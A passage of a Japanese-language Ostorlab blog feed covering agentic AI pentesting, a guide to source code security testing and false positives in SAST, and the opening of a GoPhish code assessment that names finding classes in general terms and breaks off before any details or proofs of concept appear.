&lt;p&gt;また、疑わしいシグナルは確定した脆弱性ではなく仮説として扱います。安全かつ可能な場合、Deep Agentic Scanは検出結果を報告する前に検証し、リクエストとレスポンス、スクリーンショット、再現手順、実証された攻撃者の経路といったエビデンスで結論を裏付けます。この悪用可能性を重視したプロセスは、誤検知（フォールスポジティブ）が決して起こらないと主張するものではなく、&lt;a href="https://blog.ostorlab.co/changelog-2026-03-march.html#1--agentic-deep-scan-with-byok-bring-your-own-ai-key"&gt;誤検知を減らし、ノイズの少ないレポートを保つ&lt;/a&gt;ように設計されています。&lt;/p&gt;
&lt;p&gt;攻撃が複数のコンポーネントにまたがる場合にも、同じ考え方が重要になります。モバイルアプリケーションで見つかった認証情報がAPIへのアクセスを可能にし、そのAPIが別のサービスに信頼されるトークンを発行するかもしれません。Deep Agentic Scanは、それぞれの弱点を孤立したアラートとして扱うのではなく、それらの間の関係を保持し、その結果生じる影響を示すことができます。&lt;/p&gt;
&lt;p&gt;この調査型のアプローチは、サポートされている認証済みのワークフローや接続されたコンポーネントを含め、&lt;a href="https://ostorlab.co/product/web_agentic_deep_scan"&gt;WebアプリケーションとAPI&lt;/a&gt;および&lt;a href="https://ostorlab.co/product/mobile_agentic_deep_scan"&gt;AndroidとiOSのアプリケーション&lt;/a&gt;に適用できます。&lt;/p&gt;
&lt;h2 id="人間のペンテスターはどうなるのか"&gt;人間のペンテスターはどうなるのか&lt;/h2&gt;
&lt;p&gt;AIペンテストによって、人間のテスターが不要になるわけではありません。人間は引き続き、ビジネスの文脈、創造的な判断力、そして自動化された範囲の外にある通常とは異なる状況を調査する能力をもたらします。&lt;/p&gt;
&lt;p&gt;変わるのは、調査プロセスのうちどれだけを繰り返し実行できるかです。AIペネトレーションテストのソリューションは、手がかりをたどり、疑わしい挙動を検証し、エビデンスを記録し、修正を再テストできます。これにより人間の専門家は、より深い文脈を必要とする判断に集中できます。&lt;/p&gt;
&lt;p&gt;これは、セキュリティリーダーがAIペンテストツールを評価するためのより良い方法にもなります。製品がAIを使っているかどうかだけを問うのではなく、ターゲットの応答によってシステムの計画が変わり得るかどうかを問うのです。&lt;/p&gt;
&lt;p&gt;Ostorlabの製品はあくまで&lt;strong&gt;Deep Agentic Scan&lt;/strong&gt;です。AIペンテストは、その背後にある方法論を表す言葉です。&lt;/p&gt;
&lt;p&gt;AIスキャナーがAIペンテストになるのはそのときです。AIがレポートを改善したときではなく、一つひとつの答えが調査を変えるようになったときです。&lt;/p&gt;</content><category term="Engineering"/><category term="AI pentest"/><category term="AI penetration testing"/><category term="AI pentesting tools"/><category term="Deep Agentic Scan"/><category term="agentic scanning"/><category term="DAST"/></entry><entry><title>ソースコードセキュリティ：シグナルから検証済みのリスクへ | Ostorlab</title><link href="https://blog.ostorlab.co/ja/source-code-security-guide.html" rel="alternate"/><published>2026-07-16T12:13:00+02:00</published><updated>2026-07-16T12:13:00+02:00</updated><author><name>Abir Jelti</name></author><id>tag:blog.ostorlab.co,2026-07-16:/ja/source-code-security-guide.html</id><summary type="html">&lt;p&gt;ソースコードセキュリティテストの仕組み、従来のSASTが誤検知を生む理由、そしてエージェント型分析がスキャナーのシグナルをすぐ対応に着手できる検出結果へと変える方法を解説します。&lt;/p&gt;</summary><content type="html">&lt;p&gt;スキャナーが、リポジトリ内に危険な関数を見つけたとします。&lt;/p&gt;
&lt;p&gt;これはシグナルです。&lt;/p&gt;
&lt;p&gt;攻撃者がそこに到達できること、信頼できないデータがそこへ流れ込むこと、他の制御によってその経路が安全になっていないことの実証には、まだなっていません。こうした問いへの答えによって、そのコードが本当の脆弱性にあたるのか、そして開発者が手を止めてまで修正すべきものなのかが決まります。&lt;/p&gt;
&lt;p&gt;これこそが、ソースコードセキュリティテストの中心にある課題です。&lt;/p&gt;
&lt;p&gt;疑わしいコードを見つけること自体は容易になりました。難しいのは、脆弱性をノイズから切り分け、リスクを文脈に沿って説明し、開発者が実際に使える修正を提示することです。&lt;/p&gt;
&lt;h2 id="ソースコードセキュリティテストとは"&gt;ソースコードセキュリティテストとは&lt;/h2&gt;
&lt;p&gt;ソースコードセキュリティテストは、アプリケーションのコードを検査し、弱点が本番環境に到達する前に見つけ出す取り組みです。静的アプリケーションセキュリティテスト（SAST）、シークレット検出、依存関係の分析、手動のセキュアコードレビュー、AIを活用した調査などが含まれます。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.nist.gov/itl/csd/secure-systems-and-applications/source-code-security-analyzers"&gt;NISTの定義によれば、ソースコードセキュリティアナライザー&lt;/a&gt;とは、ソースコードを検査し、セキュリティ脆弱性につながりうる弱点を報告するツールです。この区別は重要です。疑わしい弱点が脆弱性につながることはありますが、両者が自動的に同じものになるわけではありません。&lt;/p&gt;
&lt;p&gt;有用なソースコードセキュリティのプロセスは、次の4つの問いに答えられる必要があります。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;弱点はどこにあるか&lt;/li&gt;
&lt;li&gt;このアプリケーションにおいて、到達可能か、あるいは悪用可能か&lt;/li&gt;
&lt;li&gt;どのような影響を及ぼしうるか&lt;/li&gt;
&lt;li&gt;どのような変更を加えれば安全に修正できるか&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;最初の問いにしか答えられないツールが見つけたのは、セキュリティチームの作業であり、必ずしも脆弱性ではありません。&lt;/p&gt;
&lt;h2 id="脆弱性はアプリケーションの実行前から存在しうる"&gt;脆弱性はアプリケーションの実行前から存在しうる&lt;/h2&gt;
&lt;p&gt;セキュリティ上の問題は、本番環境ができるのを待ってはくれません。&lt;/p&gt;
&lt;p&gt;設定ファイルには、すでにシークレットがハードコードされているかもしれません。マニフェストでは、脆弱な依存関係のバージョンがすでに固定されているかもしれません。ユーザーが制御できる入力が、すでに安全でないクエリに到達しているかもしれません。機密性の高い操作から、認可チェックがすでに抜け落ちているかもしれません。&lt;/p&gt;
&lt;p&gt;これらはいずれも、公開URLやテストアカウント、稼働中のアプリケーションがなくても成立します。&lt;/p&gt;
&lt;p&gt;ソースコードテストなら、該当する変更の記憶が新しいうちに、こうした弱点を捉えられます。検出結果は影響を受けるファイル、関数、コードパスを直接示すことができ、コードが共有インフラや本番環境のリスクとなる前に、フィードバックを開発者に届けられます。&lt;/p&gt;
&lt;p&gt;これが早期にテストする価値です。ただし、早期検出が役に立つのは、その結果を信頼できる場合に限られます。&lt;/p&gt;
&lt;h2 id="従来のsastはどのように脆弱性を見つけるのか"&gt;従来のSASTはどのように脆弱性を見つけるのか&lt;/h2&gt;
&lt;p&gt;静的アプリケーションセキュリティテストは、アプリケーションを実行せずにコードを解析します。エンジンによって異なりますが、次のような処理を行います。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;コードをトークンや抽象構文木（AST）に解析する&lt;/li&gt;
&lt;li&gt;入力、機密性の高い関数、既知の安全でないパターンを特定する&lt;/li&gt;
&lt;li&gt;関数をまたいでデータフローと制御フローを追跡する&lt;/li&gt;
&lt;li&gt;サニタイザーやセキュリティ制御を認識する&lt;/li&gt;
&lt;li&gt;脆弱性クラスに対応するルールやクエリを適用する&lt;/li&gt;
&lt;li&gt;疑わしい問題と、それを生み出した経路を報告する&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;SQLインジェクションの可能性がある箇所を例に考えてみましょう。データベースクエリを見つけるだけでは不十分です。スキャナーは、攻撃者が制御できる入力がそのクエリに到達しうるか、その入力がパラメーター化またはサニタイズされているか、そしてその経路が実際に成立しうるかを判断しなければなりません。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://github.blog/enterprise-software/secure-software-development/the-architecture-of-sast-tools-an-explainer-for-developers/"&gt;GitHubによるSASTアーキテクチャの解説&lt;/a&gt;は、この違いを明確に示しています。機密性の高いシンクを見つけただけでは、それ自体が脆弱性の実証にはなりません。重要なエビデンスとなるのは、ソースからそのシンクへ至る安全でない経路です。&lt;/p&gt;
&lt;p&gt;単純なパターンマッチングが限界を迎えるのは、まさにこの点です。&lt;/p&gt;
&lt;h2 id="ソースコードスキャナーが誤検知を生む理由"&gt;ソースコードスキャナーが誤検知を生む理由&lt;/h2&gt;
&lt;p&gt;誤検知（フォールスポジティブ）とは、スキャナーには危険に見えるものの、そのアプリケーションの文脈では実際の脆弱性ではない、報告された問題のことです。&lt;/p&gt;
&lt;p&gt;誤検知がよく起こるのは、スキャナーが全体像の一部しか見ていないためです。別ファイルにある独自のサニタイザーを見落としたり、フレームワークによる制御を理解できなかったり、到達不能な経路をたどったり、テストデータを本番環境のシークレットと取り違えたりすることがあります。&lt;/p&gt;
&lt;p&gt;主な原因には次のようなものがあります。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;不完全なデータフロー解析または制御フロー解析&lt;/li&gt;
&lt;li&gt;スキャナーが認識できない独自の検証処理&lt;/li&gt;
&lt;li&gt;フレームワーク、依存関係、ビルドに関するコンテキストの欠如&lt;/li&gt;
&lt;li&gt;デッドコードや到達不能なコード&lt;/li&gt;
&lt;li&gt;テスト用の値や設定例&lt;/li&gt;
&lt;li&gt;実際の影響ではなく、一般的な弱点に基づいた重大度&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href="https://owasp.org/www-community/controls/Static_Code_Analysis"&gt;OWASPは、誤検知、検出漏れ（フォールスネガティブ）、そして問題が実際の脆弱性であることを実証する難しさを&lt;/a&gt;、静的解析の限界として挙げています。&lt;/p&gt;
&lt;p&gt;コストは、誤ったアラート1件の確認に費やす時間だけにとどまりません。ノイズが繰り返されると、開発者はスキャナーを信用しなくなっていきます。そして本物の脆弱性が現れても、誰もが無視することに慣れてしまったキューに入ってしまいます。&lt;/p&gt;
&lt;p&gt;だからこそ、基準は「より多く見つけること」であってはなりません。「開発者に対応を求める前に、不確実性をできる限り取り除くこと」であるべきです。&lt;/p&gt;
&lt;h2 id="静的スキャンからエージェント型の調査へ"&gt;静的スキャンからエージェント型の調査へ&lt;/h2&gt;
&lt;p&gt;従来のスキャンは、通常、次のような短い経路をたどります。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Pattern or query &amp;rarr; match &amp;rarr; alert&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;エージェント型のソースコードセキュリティは、ここに調査のレイヤーを加えます。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Signal &amp;rarr; gather context &amp;rarr; follow the path &amp;rarr; challenge the hypothesis &amp;rarr; assess impact &amp;rarr; report or discard &amp;rarr; propose a fix&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;エージェントは、疑わしい操作を起点に周辺の関数を調べ、インポートや呼び出し経路をたどり、リポジトリ内の別の場所にある制御を探し、他の解釈が成り立たないかを検証し、答えが明確でない場合は調査を続けられます。&lt;/p&gt;
&lt;p&gt;両者の違いは、ルールがなくなる点にあるのではありません。決定論的な解析は、候補となる弱点を見つけるうえで今も有用です。エージェントの役割は、最初のシグナルがこのアプリケーションにおいて何を意味するのかを調査することです。&lt;/p&gt;
&lt;p&gt;エージェントは、単一のルールでは答えが出ないことの多い問いを立てられます。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;入力は本当に攻撃者が制御できるものか&lt;/li&gt;
&lt;li&gt;影響を受ける関数は到達可能か&lt;/li&gt;
&lt;li&gt;共通のミドルウェアで検証が適用されているか&lt;/li&gt;
&lt;li&gt;疑わしいシークレットは本物で実際に使われているのか、それとも単なるサンプル値か&lt;/li&gt;
&lt;li&gt;依存関係に含まれる脆弱な機能は、実際に呼び出されているか&lt;/li&gt;
&lt;li&gt;フローの前段で認可制御が適用されているか&lt;/li&gt;
&lt;li&gt;悪用にはどのような条件が必要か&lt;/li&gt;
&lt;li&gt;想定される影響は、割り当てられた重大度に見合っているか&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;結果として得られるべきものは、より長いアラートではありません。より明確なエビデンスの連鎖を備えた、より少数の検出結果です。&lt;/p&gt;
&lt;p&gt;このアプローチを採用しているのが&lt;a href="https://ostorlab.co/product/source-code"&gt;Ostorlab Source Code&lt;/a&gt;です。Ostorlabは疑わしい一致の段階で止まらず、リポジトリのコンテキスト、影響を受ける経路、重大度、悪用可能性、ビジネスへの影響、修復ガイダンスをひとまとめに保持します。そのソースコードエージェントは、複雑な経路やロジックの欠陥を掘り下げ、開発者がレビューして対応できる検出結果を返すように設計されています。&lt;/p&gt;
&lt;h2 id="検証は実際にどのように誤検知を減らすのか"&gt;検証は実際にどのように誤検知を減らすのか&lt;/h2&gt;
&lt;p&gt;従来のスキャナーは、疑わしいパターンをすべて報告し、どの検出結果が本物かの判断をセキュリティチームに委ねることが少なくありません。&lt;/p&gt;
&lt;p&gt;Ostorlabは、その調査をスキャンそのものに組み込みます。ソースコードエージェントは脆弱な経路をたどり、周囲の制御を調べ、到達可能性と悪用可能性を評価し、より深い解析に耐えられないシグナルを除外します。&lt;/p&gt;
&lt;p&gt;開発者に届くのは、はるかに少数の検出結果です。それぞれには、対応に必要な影響を受ける経路、影響、裏付けとなるコンテキスト、修復ガイダンスが含まれます。検証によって誤検知は減りますが、なくなるわけではありません。そのため、すべての検出結果には、レビュー担当者がすばやく確認または却下するために必要なエビデンスが引き続き付与されます。&lt;/p&gt;
&lt;p&gt;これが、アラートを増やすことと、重要な脆弱性を見つけることの違いです。&lt;/p&gt;
&lt;h2 id="ソースコードセキュリティテストで見えるもの、見えないもの"&gt;ソースコードセキュリティテストで見えるもの、見えないもの&lt;/h2&gt;
&lt;p&gt;ソースコード解析では、次のような弱点を検出できます。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;SQL、NoSQL、コマンド、テンプレートの各インジェクションの経路&lt;/li&gt;
&lt;li&gt;安全でないファイル操作とパストラバーサル&lt;/li&gt;
&lt;li&gt;クロスサイトスクリプティングやサーバーサイドリクエストフォージェリのパターン&lt;/li&gt;
&lt;li&gt;ハードコードされたシークレットと、安全でない暗号の使用&lt;/li&gt;
&lt;li&gt;安全でないデシリアライゼーション&lt;/li&gt;
&lt;li&gt;脆弱な依存関係の使用&lt;/li&gt;
&lt;li&gt;検証やセキュリティ制御の欠如&lt;/li&gt;
&lt;li&gt;認証と認可の弱点&lt;/li&gt;
&lt;li&gt;安全でない状態遷移とワークフローのバイパス&lt;/li&gt;
&lt;li&gt;十分なコンテキストがある場合の、アプリケーション固有のロジックの欠陥&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;とはいえ、ソースコードはシステム全体ではありません。静的解析は、本番環境にしかない設定、外部サービス、インフラ間の関係、実行時の状態、あるいはドキュメントや人の頭の中にしか存在しないビジネスルールを扱うのが苦手な場合があります。&lt;/p&gt;
&lt;p&gt;そのため、ソースコードテストは他の形態のテストを置き換えるのではなく、補完するものであるべきです。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;手法&lt;/th&gt;
&lt;th&gt;最も得意とする対象&lt;/th&gt;
&lt;th&gt;見落としうるもの&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;SAST&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;実行前のソースコード内の弱点&lt;/td&gt;
&lt;td&gt;実行時および環境のコンテキスト&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;動的アプリケーションセキュリティテスト（DAST）&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;稼働中のアプリケーションで外部から観測できる挙動&lt;/td&gt;
&lt;td&gt;到達または観測できない内部の経路&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ソフトウェア構成分析（SCA）&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;サードパーティの依存関係に含まれる既知のリスク&lt;/td&gt;
&lt;td&gt;脆弱な機能が実際に到達可能かどうか&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;手動コードレビュー&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;アーキテクチャ、意図、独自の制御、ビジネスロジック&lt;/td&gt;
&lt;td&gt;すべての変更にわたる継続的なカバレッジ&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;エージェント型ソースコードテスト&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;リポジトリ全体のコンテキスト、反復的な検証、修復&lt;/td&gt;
&lt;td&gt;コードの中にもその周辺にも存在しないコンテキスト&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;a href="https://cheatsheetseries.owasp.org/cheatsheets/Secure_Code_Review_Cheat_Sheet.html"&gt;OWASPのセキュアコードレビューに関するガイダンス&lt;/a&gt;も同様に、自動解析と手動レビューを補完し合うものとして扱っています。自動化は疑わしい箇所を浮かび上がらせ、より踏み込んだレビューは、ツールが見落としうるコンテキスト、アーキテクチャ、ロジックを扱います。&lt;/p&gt;
&lt;h2 id="エージェント型分析はビジネスロジックの欠陥を見つけられるか"&gt;エージェント型分析はビジネスロジックの欠陥を見つけられるか&lt;/h2&gt;
&lt;p&gt;ビジネスロジックの脆弱性への対処が難しいのは、コードが技術的には正しくても、ワークフローが安全でない場合があるためです。&lt;/p&gt;
&lt;p&gt;あるユーザーが同じ割引を繰り返し適用する。マネージャーが自分自身の取引を承認する。あるテナントが、正規のエンドポイントを通じて別のテナントのリソースにアクセスする。いずれも、普遍的に危険な関数に似ているとは限りません。欠陥は、ロール、状態、意図された動作の関係性の中に存在します。&lt;/p&gt;
&lt;p&gt;エージェント型分析は、ワークフローを再構築し、関連する操作間で制御を比較し、状態遷移と認可の境界について推論することで、カバレッジを高められます。&lt;/p&gt;
&lt;p&gt;しかし、「AI搭載」であること自体はエビデンスになりません。信頼できる検出結果は、影響を受ける経路、破られた前提、悪用に必要な条件、そして想定される影響を示すべきです。&lt;/p&gt;
&lt;p&gt;Ostorlabは、認可の不備、安全でない状態遷移、ワークフローのバイパスなど、複雑な脆弱性やロジックのバグに対して、このより深い分析を明示的に適用しています。価値があるのは「エージェント型」というラベルではなく、調査によって生み出されるコンテキストです。&lt;/p&gt;
&lt;h2 id="すぐ対応に着手できる検出結果に含めるべき内容"&gt;すぐ対応に着手できる検出結果に含めるべき内容&lt;/h2&gt;
&lt;p&gt;開発者が修正に着手する前に、スキャナーが行った調査をすべてやり直さなければならない状況は避けるべきです。&lt;/p&gt;
&lt;p&gt;すぐ対応に着手できる検出結果には、次の内容を含めるべきです。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;影響を受けるリポジトリ、リビジョン、ファイル、コードの位置&lt;/li&gt;
&lt;li&gt;脆弱性の明確な説明&lt;/li&gt;
&lt;li&gt;関連するデータフローまたは制御フローの経路&lt;/li&gt;
&lt;li&gt;攻撃者が制御できる入力、または破られた信頼境界&lt;/li&gt;
&lt;li&gt;欠如している、回避されている、または機能していないセキュリティ制御&lt;/li&gt;
&lt;li&gt;現実的な前提条件と影響&lt;/li&gt;
&lt;li&gt;その検出結果が悪用可能と判断される理由を説明するエビデンス&lt;/li&gt;
&lt;li&gt;そのアプリケーションに即した修復ガイダンス&lt;/li&gt;
&lt;li&gt;安全な修正を生成できる場合は、提案するコード変更&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;重大度だけでは説明になりません。信頼できる経路を伴わない「クリティカル」のラベルは、調査を開発者に差し戻しているにすぎません。&lt;/p&gt;
&lt;p&gt;Ostorlabは、影響を受ける経路、悪用可能性、影響、重大度、修復の優先度を軸に検出結果を整理します。修正はプルリクエストに送り返すことができ、開発者はリスクを持ち込んだコードの隣で、提案された変更をレビューできます。&lt;/p&gt;
&lt;h2 id="開発者のワークフローにソースコードセキュリティを組み込む"&gt;開発者のワークフローにソースコードセキュリティを組み込む&lt;/h2&gt;
&lt;p&gt;セキュリティに関するフィードバックは、コードがマージされて忘れ去られたずっと後に届いたのでは、その価値を失います。&lt;/p&gt;
&lt;p&gt;実践的なワークフローでは、次の要素を組み合わせます。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;変更単位のスキャン&lt;/strong&gt;：現在レビュー中のコードに対して、迅速なフィードバックを返します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;リポジトリ全体のスキャン&lt;/strong&gt;：ベースラインとなるカバレッジを確保し、レガシーアプリケーションにも対応します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;リリースチェック&lt;/strong&gt;：実際に出荷されるコードリビジョンそのものを確認します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;定期的な再評価&lt;/strong&gt;：コードベースや脅威に関する知見の変化に合わせて実施します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;一元的な可視化&lt;/strong&gt;：開発者がタスクのたびに普段のワークフローを離れることなく、アプリケーションセキュリティ（AppSec）チームがリスクを追跡できるようにします。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href="https://ostorlab.co/product/source-code"&gt;Ostorlabの現在のソースコードワークフロー&lt;/a&gt;は、GitHub、GitLab、Bitbucket、Azure DevOps、標準的なGitリポジトリ、ZIPアップロードに対応しています。チームは解析対象としてブランチ、タグ、コミットを選択し、脆弱な経路と関連するエビデンスを確認したうえで、修復内容をプルリクエストに送り返せます。&lt;/p&gt;
&lt;p&gt;目指すところはシンプルです。検出結果、コード、修正を同じ会話の中にまとめておくことです。&lt;/p&gt;
&lt;h2 id="ソースコードセキュリティツールを評価するには"&gt;ソースコードセキュリティツールを評価するには&lt;/h2&gt;
&lt;p&gt;機能一覧が長くても、スキャナーを実際に使ったときの感触はわかりません。代表的なコードでテストし、ツールが見つける脆弱性だけでなく、ツールが生み出す作業量も測定してください。&lt;/p&gt;
&lt;p&gt;次の点を確認してください。&lt;/p&gt;
&lt;h3 id="検出結果は信頼できるか"&gt;検出結果は信頼できるか&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;各検出結果は、信頼できる経路と裏付けとなるコンテキストを示しているか&lt;/li&gt;
&lt;li&gt;重大度は、実際の到達可能性と影響を反映しているか&lt;/li&gt;
&lt;li&gt;報告された問題のうち、専門家によるレビューを経ても残るものはどれくらいあるか&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="自社のコードベースを理解しているか"&gt;自社のコードベースを理解しているか&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;使用している言語、フレームワーク、リポジトリ、ビルドシステムに対応しているか&lt;/li&gt;
&lt;li&gt;独自のライブラリやセキュリティ制御を追跡できるか&lt;/li&gt;
&lt;li&gt;個々の構文パターンにとどまらない推論ができるか&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="最初のシグナルの後に何が起こるか"&gt;最初のシグナルの後に何が起こるか&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;ツールは仮説を検証するのか、それとも単にスコアを付けるだけか&lt;/li&gt;
&lt;li&gt;サニタイザー、認可制御、到達不能な経路を認識できるか&lt;/li&gt;
&lt;li&gt;根拠のない検出結果を、開発者に届く前に除外しているか&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="修復は役に立つか"&gt;修復は役に立つか&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;ガイダンスは根本原因に対処しているか&lt;/li&gt;
&lt;li&gt;提案される修正は、そのアプリケーションとフレームワークに即したものか&lt;/li&gt;
&lt;li&gt;開発者は、変更を受け入れる前にその内容を確認できるか&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="開発ワークフローに適合するか"&gt;開発ワークフローに適合するか&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;レビュー対象のブランチ、タグ、コミットをそのままスキャンできるか&lt;/li&gt;
&lt;li&gt;検出結果と修正は、開発者が普段作業している場所に表示されるか&lt;/li&gt;
&lt;li&gt;フィードバックは、リリースに反映できるほど迅速か&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;概念実証（PoC）では、既知の脆弱性、過去に修正した実際の問題、独自の制御、汎用スキャナーが誤判定しやすいコードを含めてください。確認済みの検出結果、見逃された脆弱性、トリアージにかかった時間、修復にかかった時間、提案された修正が開発者に受け入れられた割合を記録してください。&lt;/p&gt;
&lt;p&gt;アラート件数が多いからといって、カバレッジが優れている証明にはなりません。単に、ツールがより多くの不確実性をチームに押し付けただけかもしれません。&lt;/p&gt;
&lt;h2 id="ai生成ソフトウェアの時代におけるソースコードセキュリティ"&gt;AI生成ソフトウェアの時代におけるソースコードセキュリティ&lt;/h2&gt;
&lt;p&gt;AIコーディングツールによって、ソフトウェア変更の量と速度は増しています。セキュリティチームが、同じように加速したペースでアラートを生成して対応するわけにはいきません。&lt;/p&gt;
&lt;p&gt;コード生成がスケールする一方で、セキュリティ上の仮説の一つひとつに依然として手動のトリアージが必要なままであれば、ボトルネックはAppSecチームとエンジニアリングチームに移るだけです。&lt;/p&gt;
&lt;p&gt;したがって、ソースコードセキュリティは、より調査型のものへと変わらなければなりません。リポジトリのコンテキストを理解し、重要なものを検証し、開発者が安全にレビューできる段階まで修復を進める必要があります。&lt;/p&gt;
&lt;p&gt;意味のある問いは、もはや次のものではありません。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;スキャナーにはいくつのルールがあるか？&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;問うべきは次の点です。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;人に対応を求める前に、どれだけの不確実性を取り除けるか？&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;これこそが、Ostorlab Source Codeが基盤とする基準です。シグナルを追い、経路を理解し、答えが明確でないときは掘り下げ続け、対応に必要なコンテキストと修正を添えてリスクを返します。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://ostorlab.co/product/source-code"&gt;Ostorlab Source Codeの詳細を見る&lt;/a&gt;&lt;/p&gt;</content><category term="Engineering"/><category term="Security"/><category term="Source Code"/></entry><entry><title>GoPhish最新版を徹底分析：Ostorlab Agentic Deep Scanによるソースコード評価</title><link href="https://blog.ostorlab.co/ja/gophish-0121-manual-review-agentic-deep-scan.html" rel="alternate"/><published>2026-07-16T10:00:00+02:00</published><updated>2026-07-22T14:20:00+02:00</updated><author><name>Sohaib Harraoui</name></author><id>tag:blog.ostorlab.co,2026-07-16:/ja/gophish-0121-manual-review-agentic-deep-scan.html</id><summary type="html">&lt;p&gt;GoPhish最新版が信頼をどのように扱っているか（アイデンティティ、信頼できないコンテンツ、オブジェクトの所有権、認証情報のライフサイクル、外向きリクエスト）を検証した技術評価です。Ostorlab Agentic Deep Scanによるソースコード解析で、レポートレベルの8件の検出結果、PoC、修復の優先順位を確定しました。&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;strong&gt;GoPhish最新版のソースコード評価&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Ostorlab Agentic Deep Scanによるソースコード評価 &amp;middot; レポートレベルの検出結果8件 &amp;middot; 再現可能なローカルPoC&lt;/p&gt;
&lt;h2 id="経緯:一つのコードパスから評価全体へ"&gt;経緯：一つのコードパスから評価全体へ&lt;/h2&gt;
&lt;p&gt;Ostorlab Agentic Deep Scanの支援を受けて実施したGoPhish最新版のソースコード評価は、単一のバグクラスを探すものではありませんでした。セキュリティ制御が本物かどうかを通常左右する経路をたどりました。HTTP入力からストレージへ、ストレージからブラウザーのシンクへ、アイデンティティから認可へ、そしてURLから外向きの接続へという経路です。&lt;/p&gt;
&lt;p&gt;当初、レビューは見慣れたものに見えました。ログインハンドラー、インポート機能、ブラウザー側のレンダリングコードなどです。やがて、経路が収束し始めました。メールサーバーからのエラーが、管理者のブラウザー内でHTMLになり得る。作成用エンドポイントの&lt;code&gt;id&lt;/code&gt;という名前のフィールドが、既存レコードの所有権を変更し得る。オペレーターが認証情報を失効させると期待するアカウント操作そのものを経ても、認証情報が生き残り得る。これらの観察はどれも単独では劇的なものではありませんが、組み合わせると、最も重要な信頼境界があまりにも穴だらけなアプリケーションの姿が浮かび上がります。&lt;/p&gt;
&lt;p&gt;この評価では、デプロイメントに依存するレート制限のバイパス、ユーザー名の列挙、2系統のクロスサイトスクリプティング（XSS）を、ユーザー間の所有権、API認証のライフサイクル、機密性の高いユーザーフィールド、サーバーサイドのリクエスト制御と結び付けました。報告対象とした各結果は、掲載前に、関連するハンドラー、モデル、ミドルウェア、そしてブラウザーまたはネットワークの経路をまたいで追跡しています。&lt;/p&gt;
&lt;p&gt;Ostorlab Agentic Deep Scanは、この評価の全体を通じて関与しました。既存オブジェクトを更新し得る作成パス、アカウントの状態から切り離された認証情報チェック、設定によって挙動が変わる外向きリクエストの制御など、リポジトリ全体で繰り返し現れるパターンを浮かび上がらせました。これらのシグナルが調査の指針となりました。本記事では、評価で確認された、完全で再現可能な経路のみを報告します。&lt;/p&gt;
&lt;p&gt;その結果が、レポートレベルの8件の検出結果です。本記事には、それらの検証に使用したローカルの概念実証（PoC）手順と、対応する修復策が含まれています。これらは、隔離され、許可を受けたテスト環境でのみ使用してください。例ではループバックアドレス、合成ユーザー、無害なブラウザーアラートを使用しています。自身が所有していない、またはテストの明示的な許可を得ていないシステムやアカウントに対して使用してはなりません。&lt;/p&gt;
&lt;p&gt;本記事のシナリオは、検証済みの挙動に基づいて構成した例示的なものです。セキュリティリード、開発者、プラットフォームオーナーが理解すべきレベルで意図的に書かれています。すなわち、攻撃者に何が必要か、どの信頼境界が破綻するか、誰が影響を受けるか、そして永続的な修正とはどのようなものか、というレベルです。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;#&lt;/th&gt;
&lt;th style="text-align: left;"&gt;検出結果&lt;/th&gt;
